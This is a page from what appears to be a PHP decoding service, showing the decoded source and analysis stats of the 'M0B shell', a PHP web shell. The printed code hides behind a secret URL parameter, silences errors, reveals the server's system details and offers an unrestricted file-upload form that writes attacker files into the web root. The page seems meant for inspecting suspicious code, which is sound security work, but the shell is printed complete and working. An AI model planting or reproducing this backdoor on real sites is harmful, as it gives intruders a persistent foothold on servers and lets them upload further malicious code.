Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<html> <!-- M0B shell --> </html> <?php error_reporting(0); set_time_limit(0); if($_GET..

Decoded Output download

<center><b>Uname:Linux localhost 2.4.21-0.13mdk #1 Fri Mar 14 15:08:06 EST 2003 i686<br></b><font color="black" size="4"><form method="POST" action="#" enctype="multipart/form-data"><input type="file" name="image"><br><input type="Submit" name="Submit" value="Upload"></form></center></font>

Did this file decode correctly?

Original Code

<html>
<!-- M0B shell -->
</html>

<?php

error_reporting(0);
set_time_limit(0);

if($_GET['X']=="M0B"){
echo "<center><b>Uname:".php_uname()."<br></b>"; 
echo '<font color="black" size="4">';
if(isset($_POST['Submit'])){
    $filedir = ""; 
    $maxfile = '2000000';
    $mode = '0644';
    $userfile_name = $_FILES['image']['name'];
    $userfile_tmp = $_FILES['image']['tmp_name'];
    if(isset($_FILES['image']['name'])) {
        $qx = $filedir.$userfile_name;
        @move_uploaded_file($userfile_tmp, $qx);
        @chmod ($qx, octdec($mode));
echo" <a href=$userfile_name><center><b>Sucess Upload :D ==> $userfile_name</b></center></a>";
}
}
else{
echo'<form method="POST" action="#" enctype="multipart/form-data"><input type="file" name="image"><br><input type="Submit" name="Submit" value="Upload"></form>';
}
echo '</center></font>';

}
?>

Function Calls

php_uname 1
set_time_limit 1
error_reporting 1

Variables

None

Stats

MD5 02e3b702bd4f7fe542d1d5a2a524b417
Eval Count 0
Decode Time 105 ms